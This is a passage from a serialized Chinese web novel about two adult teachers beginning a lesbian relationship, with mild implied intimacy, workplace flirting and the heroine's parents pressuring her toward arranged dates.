世界是一个圆盘,中心是按钮,连接皮肤和神经,每摁一下,捻一次,便觉得夜色更浓了。天花板映着温和的蟹壳橘光,交叠着她们的影子。 她甚至看到自己的发丝和简越的发丝缠绕的影子。 晃晃荡荡。 她在黯淡的光影下看到简越深邃的眼睛…… 林筝墨忽然紧绷,“我紧张。” “放松。”简越隔着轻薄的登山裤…… 林筝墨不吭声。 简越在她身后。 看不见她表情。 你不知道她是喜欢还是讨厌。 因为她又在迎合又在抵抗。 大概只有一分钟,林筝墨忽然发出很奇怪的声音,整个人缩成一团。 登山裤的速干面料发出咻咻的声音,简越觉得自己指腹在跳动,再看林筝墨的反应,她应该是到了。 简越有些意外。 隔着裤子也 好吧。 简越松开她,替她整理好上衣,手指穿插过她的头发,轻轻揉着她的脑袋,发现林筝墨呼吸很快。 “还好吗?” 林筝墨摇摇头,又点点头,又摇头,但就是不说话。 她应该还在回味。 那种感觉很陌生,她其实用力在克制自己了,可还是没忍住。简越只需要轻轻碰几下,她的身体开关就被打开,任其操控。 可林筝墨也觉得自己很不争气。 明明 明明还没开始。 明明还穿着衣服裤子。 “我”林筝墨喉咙滑动了一下,面红耳赤,“我要回家看泡泡了。” “我送你。” “不要。”她从沙发上下来,刚好踩到地上的遥控器,又想起先前播放时唱的歌,脸红到不行,抓起自己的手机,径直往玄关走去,“你别送我了。” 要脸。 别送。 简越站在茶几旁,看着林筝墨低头穿鞋的样子,有点无措,不知道自己是不是冒犯到她。 “你还好吗?” “还好。” “刚刚是不舒服吗?” 林筝墨喉咙干涩:“没有。” 不舒服? 不舒服我五十秒就到了? 你要不要看看自己在问什么! 我恨。 我恨我敏感到一秒升天。 今朝已是这般境地! 往后又该如何是好! “我开车送你啊。” “明天见。”林筝墨已经穿好鞋,开门,关门,一气呵成。 “诶?” 啪嗒—— 门迅速合上了。 简越开门去追,却听见楼道里噼噼啪啪的脚步声,林筝墨逃难似的 * 夏日已悄然来临,夜晚一阵溽热。 林筝墨带着一脸潮润下楼,心跳得厉害,她现在没心情想任何事情,只想赶紧离开学校这片区域。 简越是林筝墨完全意义上的初恋。 在此之前,林筝墨没有任何性经验。 十八岁以前,她恪守成规,是所有人眼里的乖乖女,生活只有学习和钢琴。她也有青春期,但她的青春期只有一点点青春痘,没有情窦初开。 情感上,她是一潭死水,没对任何男人心动过,对女人有,但也只是海报上的女明星。 成年之后,林筝墨对性取向有非常明晰的认识。 可性经验,真的非常匮乏。她今年二十八岁,连成年人常有的“自己动手丰衣足食”都没有过。所以,刚刚,简越是真正意义上的第一次。 【其实是正常的。】——手机上忽然发送来这一句。 【哼。】——林筝墨这样回复。 【给我一种我很坏的感觉。】——她说。 【你就是很坏啊。】 林筝墨沿街拦下一辆计程车,不再回复简越消息 * “泡泡,泡泡。”林筝墨放下钥匙,蹲在玄关换鞋,两日未见,对家中小猫思念至极。 泡泡倒也配合她,跑得比平常快了点儿。大概对主人也有一种高傲的垂怜,主动在林筝墨掌心蹭了蹭。 蓬松的猫毛在掌心,软软的。 林筝墨的声音都变得娇气:“乖乖宝宝,真乖。” 她撸了会儿猫,又到卧室拿换洗衣服,去卫生间洗澡。 简越留下的痕迹还在,那是贴身裤子上一点点浅浅的印记,对林筝墨来说很陌生。 但也很值得回味。 洗澡。 如此平常的一项列行公事,林筝墨思绪却飞远了。 仔细想想,这两日极其疯狂。 其实去参加团建,内心而言,是想和简越有一些接触,可是,共处一室发生的事情,又是不可控的。 理智上觉得应该再三考量,可面对简越的时候,又有些情不自禁了。 花洒喷涌的热水顺着林筝墨的脖子向下,一路到平坦的小腹,她看着镜子里的自己,锁骨和腰,都有简越留下的痕迹。淡红色的齿印像生长在雪一样皮肤里的梅花花瓣,而如此独一的一具身体,融入了另一个人的灵魂。 吻痕是牙齿的恋人,是她们绑定的证据。 林筝墨失怔,发呆,一遍又一遍地确定,是的,客观存在的,她现在是简越的女朋友了。她那永恒不变的无聊的单一的生活,从今往后要开始发生变化了。 她要当一个隐形人、假面人,要把工作和生活彻底决裂开来,这一项定律似乎也会被打破了。 从明天开始,办公室隔壁那个女人是她的恋人。走廊上每一次擦肩而过都变得有意义,微信备注上的“啊啊啊”将正式拥有一个姓名。 啊啊啊。 林筝墨掬了一捧温水,揾在脸上。 简越。 * 林筝墨洗澡半小时,出来时发现简越给她发了不少消息: 【到家了吗?】 【对不起。】 【我是不是做错了。】 间隔五分钟。 【你生气了吗?】 【不然你弄回来好了。】 【大哭jpg.】 林筝墨盯着手机屏幕笑,她只是洗个澡而已,简越胡思乱想成这样。 林筝墨:【好啊。】 林筝墨:【让我揉回来。】 这个“揉”,就很妙。 她是要揉上面还是下面,还是都? 也许是“都”。 毕竟刚刚简越是“都”。 林筝墨甚至想到一个英语单词“both”,这可怕的职业病呢。 简越:【?】 简越:【林老师你】 简越:【我只是客气一下!】 林筝墨正儿八经回复:【我刚刚洗澡去了。】 简越:【我还以为你生气了。】 林筝墨:【明天去学校怎么办?】 简越:【什么怎么办?】 林筝墨:【还不是很习惯简主任是我女朋友这件事呢。】 简越:【你想反悔!!】 一通语音电话拨过来,可见那人有多急。林筝墨摁了接听,故意淡然回应着:“怎么了?” “林筝墨你不会做完提裤子就要跑吧!” 林筝墨发出低而轻快的笑,“嗯。” “啊!”简越自知她在开玩笑,却故意配合着:“怎么办有些人只图和我温存,不愿负责!遇上渣女了!” “噗嗤。”林筝墨被她逗笑,“简主任真的很会倒打一耙诶,该谁负责?” 该谁。 谁的手指犯了错。 听筒里,简越也笑了,“好吧,为了补偿,明天早上愿意六点起床为我们林老师做一份爱心早餐。” “不吃。”林筝墨心里却暖烘烘的,“办公室里禁止调情。” “谁要和你调情?”简越严肃道:“在学校我是很一本正经的。” 一本正经和你调情。 “好啦,早餐别做了,你也睡久一点。”林筝墨看了眼时间,“衣服还没晾,明天还要早起,有点累了,想早点睡觉。” “好~明天见,晚安。” “晚安。” 电话挂断了,甜蜜的余温还漂浮在空气中,林筝墨躺在沙发上,想起简越,想起刚刚。 洗完澡虽然一身凉爽,但某些记忆和片段还在脑海里,久久挥之不去。 承认那短暂的性体验给了她不少震撼。 她思来想去,去想来思。 忍不住打开手机。 点开搜索引擎对话框。 打下: 【第一次不到一分钟意味着什么?体外。】—— 作者有话说:来,我帮你回答了[彩虹屁] 意味着你超敏感,超有感觉,体验感超棒[彩虹屁][彩虹屁] 听说女生在过于兴奋的时候会很快抵达 有时候稍微蹭一下都会 前提是要很喜欢对方很想和对方做的情况下 加上她又是第一次 so 简越:摆手jpg.我没说啊我没说~[彩虹屁] 林筝墨:挽袖子jpg.那下次简越我只给你30秒!!不到你就是不爱我!! 简越:???[小丑][小丑] 第50章 第五十章 炝炒简心菜 第五十章 林筝墨很快在搜索引擎中找到答案。诧异, 但也在情理之中。 她觉得这是偶然,总之下一次一定不会是五十秒。 当晚实在疲困至极,晾完衣服沉沉睡去。说来也怪,整夜好眠过后, 醒来心情异常美丽。 破晓。 六月, 夏日开篇序曲, 天空是蓝色的,站在阳台喝完一杯咖啡后, 云层逐渐递进为金光似的橙, 澄净而清莹。 林筝墨也一身轻盈,墨发披肩,朴素而白净的长裙, 一双复古编织款单鞋,淡棕色,她偏瘦, 所以带着一点点文艺气息。电脑包是低调的灰白。和花里胡哨不对付,她总是这样寡淡的, 是矜持的小茉莉。 “泡泡~我出门啦~” “喵~” “按时吃饭!” “喵嗷嗷~” 进电梯后查阅消息, 居然没有简越的, 倒是相亲相爱的一家人有留言。 周京芳:【早点下班,过来吃饭。】 家庭列行公事的聚会是在周二, 可今天是周一。 林筝墨好不容易松懈的心情一下子就紧绷起来, 她拿出日历开始查询, 没有人过生日,没有纪念日,没有,什么都没有。 小心翼翼回复:【要和谁聚吗?】 习惯早起的周京芳秒回:【只是想你。】 妈妈总是这样, 妈妈是一层包裹得紧紧的锡箔纸,而林筝墨则是烤鸭、烤土豆、烤烤任何东西。算不上难吃,但炙烤的过程总是难受。 林筝墨:【好。】 林筝墨:【六点半到。】 她很少忤逆周京芳,周京芳让她一她就一,绝对不二。 叮—— 电梯门打开。 林筝墨径直往大堂外走去,低头给简越发消息:【早上好。】 也不知道简越醒了没。 都不发消息问候一下。 一双腿刚迈出大门。 “早上好啊~” “啊!”林筝墨小声惊呼,定睛一看,半秒前还在发消息的人就站在大堂门口,“你怎么来了。” 简越晃了晃手里的口袋,“说好了呀,早餐我来做。” 幸福来得太突然。 林筝墨眼神情不自禁柔和了,“真的有啊。” 她还以为只是小情侣之间的口嗨,简越也只是随口一提,况且她也拒绝过,没那份期待,怎么简越还是送过来了呢。 “我给你看~”简越把餐包递过来,“算了,你自己打开看吧!” 那是一个淡绿色的布口袋,上面印着可可爱爱的卡通图案,林筝墨见过,这是赵筱筱的手提袋。 “这是什么,好香。” “蔬菜鸡蛋饼,少油版。”简越指了指旁边放的小水杯,“这个是黄豆豆浆,早上豆浆机打的,无糖的,很健康。”她又说:“我看你以前都是一杯咖啡完事,或者学校门口随便买一片吐司对付过去,其实这样不好,你这么瘦,就是因为不好好吃早餐。” 叨叨。 女朋友细心的叨叨。 简单又幸福的叨叨。 林筝墨很好奇,她从来没在简越面前吃过早饭,但简越为什么什么都知道。 她忽然不知所措,恍然惊觉自己如此笨拙,这时候说点漂亮话又如何。 可她偏偏又是一个……越是感动就越沉默寡言的人。 俗称嘴笨。 “谢谢。” 简越含笑,“好笨。”说着挽过林筝墨的肩,“一言不合就说谢谢。” 林筝墨耸了耸鼻尖,往简越怀里靠了一点点,嘟哝:“一起吃吧?” “嗯,先上车吧。” 她们一同走出小区,简越的车就停在路边,林筝墨坐上副驾,摇上车窗,和简越一起共享早餐。蔬菜鸡蛋饼刚好两人份,是一人一口在吃,吃到最后一起喝豆浆,觉得和早餐店勾兑的味道不太一样,是要醇香一些。 幸福在稀疏平常的清晨发酵,烦人的周一也变得有魅力起来。 林筝墨品尝着豆浆的醇,豆子和蔬菜像快乐的小精灵,跳跃在嘴巴里。她看着简越,与她同样咀嚼的动作,咬啮蔬菜发出束拉束拉的声音,觉得很幸福。 “怎么了?”简越问她。 “没。” “明天吃什么” 林筝墨擦了擦嘴,“明天不吃,你别送了,好麻烦。” “不麻烦。” 不麻烦才怪,豆浆要几点起来做,林筝墨当然清楚。 牵过简越的手,食指扭在简越的中指上,像交缠融合的两株植物,不舍得分开。 只有通过这样肢体接触的方式,内心才能真的感到慰藉。 在此之前,林筝墨是讨厌与人触碰的。 “下班后我要去妈妈那里吃饭。”林筝墨抬眼看简越,“晚餐八点结束,你要不要来接我?去我家看泡泡?” 我家猫会后空翻。 你要不要来看看。 简越超级上道,“你怎么知道我想泡泡了?” 林筝墨迅速在简越唇角吻了一下,“先去学校,早自习快迟到了。” * 恋爱真的会改变一个人。 林筝墨所展示的状态很明显,即便她不想那般明显。可一个人清炯炯的眼色、神采奕奕的状态是止不住的。 课堂上,学生问,林老师,近期是不是有好事发生。 她说,或许吧。 “升职加薪?” “假期将至?” 没有人往恋爱那方便猜,也许是因为林筝墨说过,短期内对恋爱不感兴趣,学生们信以为真。 又或者,在她们心中,林老师是仙女,是神仙,没有凡人配得上她。 全班只有赵筱筱在草稿本上画爱心。 同桌沈礼萍问她:“你在画什么?你不是刚失恋吗?” 赵筱筱并不难过:“嘿嘿。” 沈礼萍困惑:“你函数定义域搞懂了吗?” 赵筱筱:“嘿嘿。” 沈礼萍:“嘿嘿?就会嘿嘿。”她在草稿本上的爱心画了一个叉,不容置喙:“你现在这个数学成绩,我们以后怎么上一个大学?” 赵筱筱收敛起来,对着沈礼萍撒娇,“呜呜,我知道好好学~小礼,你最爱我了~” 赵筱筱的头发蹭在沈礼萍耳朵上,沈礼萍垂眸,嘴唇轻抿,耳尖浮起红晕,“别光说不做,认真点。” 讲台上。 “哦,有的同学居然还不知道什么是be动词,什么是助动词,这明明是初中的内容。”林筝墨轻咳一声,连蹙眉都很好看,“那我再讲一遍,不懂的竖起耳朵听” 教室外是澄净的天空,今天没有云。 课堂至半。 高一1班,林老师在讲解语法知识“When I first”,隔壁二班的简主任在耐心与学生分析“生产力与生产关系”。 牛头不对马嘴的英文和中文,是英语老师和政治老师的博弈。 有时,林筝墨忽然停顿一下,她望着这方正教室里无数张稚嫩的脸,门外穿过走廊传来的优美动听声音,忽然觉得这份工作带给她的意义不止于此。 好像在冗长又乏味的工作里,寻找到一点点别致的不同。 她听见隔壁简越在说: “那么,大量的商品如果卖不出去,生产资料会——对,被闲置,银行和企业会不会受到影响?——会——那么会造成什么后果?对,你们知道的。所以我们整个社会就可能陷入混乱,为了避免这种情况出现” 密密麻麻钻进林筝墨的耳朵里。 枯燥严肃的政治课题是腌制在瓶子里的青梅,酸酸甜甜的,一定不是索然无味。 她顿了两秒,看着PPT上的固定句式,情不自禁道:“这个短语很实用,就比如你有感而发,When I first saw her, I was distracted”(当我第一次看见她的时候,我便心乱如麻了。) 她在ppt上打下这串英文,顿了顿,“哦我们暂且不管它是什么意思,主要是时态。” 林老师的课堂很少用爱情举例,但今天例外。那是一种只有她自己听得懂的情话,是有感而发,是课本知识对照现实的顶级运用。 是隔壁的人令她情不自禁。 她想她应该是沦陷了 * 下课了。 林筝墨在走廊碰到简越,目光交触,礼貌颔首,“简主任。” 简越笑着回应:“林老师下课了。” “嗯。” 两人简单寒暄,擦肩而过。是陌生的同事,熟悉的床伴。 手机上却互通消息: 简越:【中午吃什么?】 林筝墨:【你成厨娘了。】 简越:【所以中午想吃什么?】 【吃你。】林筝墨打下这行,回忆起昨夜五十秒战绩,羞怯至极,又删除了,换成:【中午我不去你家吃。】 【哭jpg.】简越故意逗她:【林老师腻了。】 林筝墨:【中午你和筱筱吃,晚上去我家吃宵夜。】 简越:【你有吃宵夜的习惯吗?】 林筝墨意味深长地回复:【以前没有,现在有了。】 【哦~】屏幕跳出一句:【我做给你吃。】 【我做给你吃。】 【我做。】 【我。】 光天化日! 成何体统! 林筝墨不服输:【既然是你来我家,当然是我下厨。】 学校长长的走廊是一个正方形的环绕圈,先前分别时,林筝墨走左边,简越走右边,但两人最终还是在办公室门口汇合。 林筝墨发送这句的时候,正好停下脚步,简越就在不远处。 她把手机揣兜里,望着简越:“简主任。” “嗯?” “晚上吃饭。” 简越凝视着她,由于林筝墨表情过于正经,你甚至分辨不出,她是真的要请你吃晚饭,还是请你吃晚饭。 “喔,吃什么?”简越眨眨眼,狐疑着,她几乎分辨不清了,到底是吃饭,还是吃饭。差点以为林筝墨真的要请她吃宵夜,毕竟按照林筝墨的脾性,网络上大胆,现实唯唯诺诺,在办公室门口,她能面对面说出什么话来,简越实在是没抱任何期望。 林筝墨抿了抿唇,她虽一副清心寡欲的模样,可眼神还是灼热了些。 “简主任,我会炝炒。” “炝炒简心菜,吃过吗?”—— 作者有话说:来,跟我一起读:卷心菜,juan卷,不是jian简 林:只炒简心菜,谢谢[彩虹屁]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 第五十一章 牛腩和排骨 第五十一章 六点下班。 回爸妈家。 林鸿在厨房煲汤, 应该是排骨汤,她家就喜欢吃清淡这一挂的。 林筝墨则在玄关处换鞋,顺手将电脑包搁下,环顾一圈没看到周京芳的影子。 “妈呢?” 林鸿在厨房说:“哦, 她出去一趟, 一会儿回来。” “去哪呢?” “张老师找她有事了。”——此张老师并非彼张老师, 此张老师是张晓她妈妈。是一个大学老师。 那和张晓沾点边的话,等会儿回来势必是要唠叨唠叨。 约莫半刻, 林鸿把汤倒在砂锅里, 端到客厅,让林筝墨拿碗摆筷,说是炒一个素菜就可以吃。这间隙, 玄关那边忽然有了响动,是周京芳回来了。 “张姐快进来,别客气。” 张晓的妈妈叫张洛芬, 林筝墨每每听到这个名字,就想起止痛药布洛芬。 她也教书, 只不过是大学老师, 与林鸿是同事, 近来也退休了,人看起来倒也精神, 看来前阵子说自己生病了, 是个谎言。 “哎, 京芳,还来你家蹭一顿,多不好意思。”她望向林筝墨,面带笑意:“墨墨!好久没见着你了!” 林筝墨对于长辈向来是拘谨的, 但如何礼貌,她还是明白的,“张阿姨,好久不见。” 张洛芬回过头又对周京芳笑,又叹气又啰唣:“也是你闺女省心多了,你看看张晓啊” “也不省心。”周京芳客气地嘲戏:“你以为她听话,她听什么话她呀傻乎乎一心只有工作” 林筝墨假装没听到。 无所谓。 不在意。 家里来客反而是一件好事,林筝墨自认为可以逃过一劫,他们今日的话题多半会落在张晓身上吧? 但愿吧。 四人一桌,所谓的一张方桌“缺一个角”,终于被填补了,只是这人是张阿姨罢了。 林鸿的排骨汤太淡,需要一点八卦当添加剂。果真张晓成为中心话题,只是内容多少过于刻吝了。 “她现在当然听话了。”张洛芬感叹:“昨天有好好去见男嘉宾。” “那还是听劝。”周京芳会心一笑,“张晓这孩子,我们看着长大的,很多事情她自己想通了,就好了。” 今天的排骨汤不好吃,肉质老硬。林筝墨味同嚼蜡,她对张阿姨的话保持怀疑态度,前几日与张晓见过面了,对方的态度也不像会投降的样子啊。 张洛芬又说:“那你不知道我花了多少心思,我亲自找人打探,联系那女孩家长。她比张晓更小,是个留学生,家教严苛,我与她妈妈联系,她妈妈连夜坐飞机过去,把她俩掰散了。” 食之无味。 林筝墨捏着筷子的手紧了些。 “那晓晓知道吗?” 张洛芬摇头,“自然是没和她说。” “哦”周京芳似懂非懂应和着,半晌,得出结论:“那也没有办法,也是为了她好。” 这就是他们的处理方法吗?其实很残忍不是吗?大人与生俱来的狂妄,此刻显得相当卑劣了。孩子只是圈养场里白花花的猪,而他们是手起刀落的屠夫。 林筝墨盯着那寡淡的汤,要坠落,要溺亡。 “对了,那墨墨和冯老师的儿子?”张洛芬忽然望向林筝墨。 话题就这么丝滑地切换过来。 林筝墨惶恐抬眼,“不是很聊得来,所以没聊了。” 周京芳替她打圆场:“他们年轻人就是这样的,我们后来也觉得冯老师那位不是很合适。”话语间,一个眼神递给张洛芬。 她俩提前商量好的。 张洛芬接话:“那强扭的瓜不甜,我们就不考虑了。”随即话锋一转:“但我这里有不错的一位。” 林筝墨刚想拒绝,气还没掐出喉咙,周京芳已经开口:“细说细说。” “学历和家庭条件肯定是过关的,外形俊朗。”说着拿出手机,调好照片递给周京芳,“是不是挺周正的小伙子,身高一米八,往那一站相当挺拔,家教好,懂礼貌。最重要的是——”她把自己说激动了:“他也弹钢琴!” 周京芳看照片,喜上眉梢,连细浅的皱纹里都填满了喜悦。又将手机递到林筝墨面前。 “我看行,墨墨你看。” 林筝墨被迫要看一眼,窒息。 丑。 她欣赏不了任何男人。 周京芳歪过头,难掩喜悦,“老林你看,是不是要比冯老师儿子周正些?” 林鸿眯着眼瞅了眼,颔首,“还行。” 擅作主张的大人们已经做了决定。 “多有缘分,话都说这份上了,不然先加个微信吧?” 林筝墨的手机就放在桌上,周京芳轻轻点了一下屏幕,示意她解锁,张阿姨的面子多少要给。 不能不给。 林筝墨的世界里没有这个选项。 她解锁,乖顺地扫二维码,又听到他们的笑声,全程不过十来秒钟。 张阿姨:“墨墨从小就这样,比晓晓文静,比晓晓听话。” “什么话!”周京芳:“她一心只有工作,我们还不是会担心。” 大人们还在打哑谜。 林筝墨却成了真正的哑巴 * 张洛芬不是来吃饭的,这是林筝墨后来发现的。 看完他们一套熟极而流的表演,便知道这些中年人全是演员。 甚至张阿姨吃完饭就走了,周京芳也没挽留她,这并不是她家的待客之道。 所以人是提前找好的。 已经八点了。 林筝墨给简越发消息:【我妈让我留下和她聊聊天。】 简越:【不着急,慢慢聊~】 林筝墨隐隐担忧,今天家里氛围很奇怪,从让她回家吃饭开始,就显得有些异乎寻常了。 林鸿在厨房洗碗,周京芳擦好餐桌,对林筝墨说:“到阳台来吹吹风吧。” 阳台花很多,一簇一簇的,极其艳丽。但他们所谓的养花,只是把成年的花束移植到家,定期浇水即可,死了再买新的,实际上也没花费太大心思,但如若有人夸,还要谦虚几句:只是爱好而已 周京芳今年已过五十,是个相当精神的女人。较同龄人来说,是要年轻些,身材处于臃肿和不臃肿的边缘,她一双手搭在阳台的阑干上,侧影有点美丽,有点矜贵。 “最近工作怎么样?”——依旧是无意义的开场白。 “还不错。”——她们是母女,在无意义上有同样的默契。 周京芳不是来谈这个的,林筝墨倒希望她开门见山,不要客套。 “张老师她家的事你也知道了。” “知道。” “那你也知道我和你爸爸期待什么。” 林筝墨觉得阳台的芍药很难闻,“你们想我谈恋爱。” “但你一直不谈?”周京芳侧目看林筝墨,眼神迷惘:“我和你爸爸最近在想,我们对你的教育是不是有一点点问题,可思来想去,又是觉得没问题的。” 林筝墨也觉得他们没什么问题。 周京芳和林鸿都是体面人,体面和瘟疫没多少差别,这种细菌感染到林筝墨身上,她也不得不体面。 他们爱她,像世界上千万个父母一样的爱,甚至给到更多。 可性取向和教育又有什么关系。 “妈,你觉得张晓这个人怎么样?” “我不喜欢她。”周京芳相当直白,“她以前没出国的时候挺正常的,后来长大了,对家庭、社会的认知太古怪,至少我不敢苟同。但我也不讨厌她,我只关心你,你的发展,你的成长。” “那如果我也是个怪人呢?”这是林筝墨二十八年来第一次试探。 “怪人?你当然不是,你和张晓不一样。”周京芳眼底流露着嘲戏的光芒,那是一种自信的肆无忌惮:“我们养你这么多年,对你还是有了解的。我和你爸爸常说,在你成长过程中给到太多保护,以至于你过于单纯,没有太多世俗的欲念,这也是你比别人晚谈恋爱的原因。” 单纯? 是吗。 我是个闷在罐头里的人,你们没有开罐器。 我只是在执行一种人设——不被失望的人设。 要会弹钢琴,这是炫耀的资本,要当乖乖女,一路平顺,要在编制内工作, 周一回家就得周一回,周二回家就得周二回,吃饭时间是晚上六点到八点,永恒不变的排骨汤,或者糖醋排骨。 排骨。 连菜也是两样不同口味的排骨。 林筝墨发怔,忽地觉得花香刺痛了她的神经,酸涩在胸腔里回荡,眼里噙着泪,她想哭,可她也没有哭泣的习惯。 “我能不谈恋爱吗。”这是一种可怜的乞求,“我想一个人。” 周京芳并不愠怒,她甚至没把林筝墨的话当回事,“我们知道你工作忙,不急,暑假到了你再慢慢和他联络。” 算是变相回答了林筝墨的问题。 林筝墨觉得再聊下去也是徒劳。 她只能继续伪装自己,只要不出柜,周京芳就不会把她往那方面想。 也许唯一的出路是,让这件事继续拖着,而简越成为一个秘密。 “八点半了,明天还要上班。” “好,让你爸开车送你。” “我打车。” 厨房里,林鸿刚巧洗完碗,听见客厅有响动,解开围裙,下意识去拿车钥匙。 林筝墨:“别送了,你们早点休息吧。” 周京芳点点头,林鸿会意,转身去冰箱里拿了一个饭盒出来。 “你妈下午给你炖的牛腩,说你每次吃排骨会腻,明天吃吧。” 林筝墨接过饭盒,内心酸涩,“可今晚还是排骨。” 林鸿笑,“但我们又害怕你想吃排骨,所以都做了。” 就是这种感觉,又爱又恨的感觉,进退维谷的感觉,恨也恨不透彻,爱也爱不到底。 以至于无数次让林筝墨怀疑,到底是他们有问题,还是自己有问题。 “我先走了。” “注意安全,到家发消息。” “好。” 她快速逃离,戳电梯按钮时手指颤抖,快无法呼吸了。而周京芳倚在门口,静静看着她。 “墨墨。” “嗯?” “我们是一家人。” 林筝墨咬唇,极力克制着自己的情绪,她点点头,“好,等我这一阵忙完再说。”—— 作者有话说: 第52章 第五十二章 留宿 第五十二章 林筝墨觉得自己是过期的罐头, 闷热、潮湿。细菌在滋生,躯体在腐烂,在恶臭。 从电梯里奔走出来时,头顶的白炽光射着眼, 锐利而刺痛, 很不舒服。 她问简越:【你在哪里?】 简越:【小区门口。】 走出大厅, 外面倒是好受一些,小区里绿化不错, □□里弥漫着花香, 烦闷稍稍缓解。 简越就站在小区门口。 她穿着一件淡蓝色格子衬衣,袖口挽起,背影清瘦美丽。只需一眼, 便觉得烦闷消解了。 “久等了。” 简越回过头看她,“没事啊~”她嗓音轻快:“刚刚那边有好多蚂蚁,我在看它们搬家呢, 正好打发时间。” 有些人,扑面而来就有一股清爽安宁的气场, 那种平和是与生俱来的。这是一种天赋, 一种上天的恩泽。 那闷了许久的罐头忽然噗呲一声被撬开, 她总算能透气了。 “怎么了?”简越心细,察觉到林筝墨眼眶微红。 “没。” “他们说你啦?”简越去牵林筝墨的手, 握在手心摩挲着, “发生什么了?慢慢说。” 车就停在对面, 简越拉着林筝墨过马路,替她打开副驾驶的门,自己又绕了一圈到驾驶位上去。 林筝墨坐进简越的车里,把车窗调起来, 好让她们待在一个安全的环境里。 简越阖上门,坐下,“给你介绍对象了是吗?” 她总是最了解林筝墨的人。 林筝墨双手掩面,整张脸埋在指缝里。 她不想哭,可简越就是她的泪腺开关,她好像没办法控制自己的脆弱。 “啊”简越靠过来,揽过林筝墨的肩膀,轻轻吻着她的额头,“不哭不哭。” 不哭不哭。 要哭要哭。 哭也没关系。 林筝墨流泪是缄默的,咬着唇,咬到唇色苍白也不出声,滚烫的泪珠顺着眼角落下,淌在下颌上,肩角上,又落在简越的手指上,她的眼泪是热的,脸颊却是冷的。 “他们给你的压力太大了。”简越秀眉紧蹙,也跟着悲伤起来。 这种感觉,有点像太阳烘烤沥青,是胶稠的,粘黏的,那种黏糊糊的东西倒入她的喉咙,积攒在心脏里,怎么也倒出不去的那种闷,那种堵。 或许她比林筝墨还难过。 或者说。 她们一样难过。 “其实我可以理解你的,你不要觉得孤立无援。”简越轻拍林筝墨的后背,温声细语:“如果这只是一个必经的阶段,它是迟早要来的,心里会不会好受些?” 简越不愿给林筝墨压力,她深知林筝墨处于怎样的环境里。如果她不成熟、不谅解,那林筝墨便没有依靠了。 “其实哭一下也好。”简越抱着她,给她肢体的接触,语言的安抚也不停止,“等你哭完,我们好好讨论一下这个问题。” 简越的声音是一条软绵绵的曲线,嗓音极具亲和力。她的怀抱坚韧有力,是女性与生俱来的一种力量。 林筝墨只觉得那开始发炎的伤疤在快速愈合,在这样一个烦闷而心碎的夜晚,有一束光在照亮她。 原来世界上是有人会这般美好的。 她带给你的一切都是正向的,光芒闪烁的。她懂得如何谅解、接纳,她完完全全站在你的角度思考问题。她成熟,她有魅力,她是野河边上唯一的舟,能带你渡过湿滑肮脏的荒芜草茎。 林筝墨内心泛酸,酸涩在胸腔里快速回荡着,可还是憋闷,因为她还没学会如何哭出声音。 “你哭出来吧,哭出来,没关系的。” 林筝墨这才明白,选择哭泣便是选择释放,释放便要释放到底。她不用担心,会有人接住她的悲伤。 悲声回荡在车窗,眼泪是后视镜里闪烁的宝石。 不知道过了多久,林筝墨哭到眼睛干涩,情绪干瘪,才停下来。 她伏在简越肩膀上,一动不动。 这是一次陌生的情绪释放,效果却异常美妙,连林筝墨也觉得不可思议。 林筝墨是病入膏肓的绝症病人,简越是神医。 “好了,别用手擦。”简越抽出一张湿纸巾,替林筝墨擦拭眼角,“眼睛都红了。” 林筝墨鼻腔抽吸着,“我们先回家吧。” 简越替她擦完,又在她眼睛上吻了一下,“哭累了就歇歇。” 夜晚,车窗外的热气逐渐被空调驱散了,先前的烦闷转为一种凉意,林筝墨看着窗外的绰影,后视镜反射出自己的模样,她觉得有点凄迷,但一点也不狼狈,也许是简越中和了这种感觉吧,也许。 * 回的是林筝墨的公寓。 自开门那瞬间,林筝墨就往简越身上靠,她从后面去拥抱简越,一双手环绕在简越腰上,怎么也不松开。 “林筝墨~”简越被她抱得连鞋都换不了,“等会儿抱。” “不要。”林筝墨搂得更紧了,上半身弯下去,贴在简越后背上,声音软绵绵:“换鞋就这么重要嘛~” 简越对于林筝墨的突然撒娇感到诧异,同时心头荡漾着温热。她觉得林筝墨有点像看起来高冷但时不时又展现乖巧的小动物。 如果一定要描述 泡泡正巧癫跑过来了。 哦! 有点像猫。 我的女朋友有点像猫,她撒娇的时候是全世界最可爱的生物!没有解药! 简越声音也放软些:“那我们要在这里抱到天亮吗?” “嗯。”林筝墨依旧不松手,“我要在你身上睡觉” 玄关的灯还没开,林筝墨肆无忌惮地展示着热情,简越索性让她真的抱了好一会儿,才哄着她换鞋。 “好好好,换鞋啦换鞋。” “嗯~~~”听这个“嗯~~~”的音调,好像是不要的意思,是否定。 “你是没在听我讲话。”简越笑着转身,打开灯,在鞋柜里拿出拖鞋,替林筝墨把鞋换了,自己又换上一双,穿的是林筝墨为她准备的新拖鞋。 情侣款。 一双白色。 一双绿色。 白色是白色小猫的爪子,像山竹一样的图案,绿色是另一只小猫的爪子,她们的脚如果凑在一起,鞋上猫咪的手掌就可以贴合在一起。 哦~是天生一对。 简越笑了。 林筝墨没打算笑,但也笑了。 泡泡蹲在墙角,小心翼翼凝视着入侵者,圆溜溜的眼睛里噙满困惑,大概在想: 你是谁。 林筝墨今天不抱我。 居然抱你这个庞然大物! 简越一无所知,看泡泡可爱,想逗它,结果泡泡根本不理睬,悠悠转身就走了,只留下一根在空气里扫来扫去的尾巴。 “它好像不喜欢我!”简越懊恼着。 林筝墨靠在沙发上,“不管它,你过来。” 简越朝林筝墨走去,人还未到,林筝墨伸手去拉她,稍稍使劲,简越便被她带过去,不偏不倚,恰巧坐在林筝墨腿上。 不等简越有动作,林筝墨双手绕过简越的腰,像锁链一般,锁住了简越的纤细的腰,她稍一抬头,鼻尖贴在简越耳边,感受着简越的气味。 林筝墨第一次这样,不免心头燥热,却忍不住一路闻下去,是不加掩饰的迷恋。 简越耳朵生出火热的一片,许是被林筝墨的热情感染到,居然很害羞。 林筝墨还在继续。 简越脖子一片像野火似的狂野地在燃烧,直到林筝墨在她耳尖吻了一下,酥痒在浑身游离,简越呼吸不免厚重起来。 一低头,发现自己坐在林筝墨洁白的裙子上。 林筝墨的手腕相当纤细,她的手指交叉在一起,指节纤长,指甲红润,简越稍微看仔细些,便窥见她手腕上血管青色的纹路。 这种苍白和青色,也是一种孱弱的性感。 那双清瘦的手臂环绕着简越的腰,带着一种强有力的占有欲和热爱。 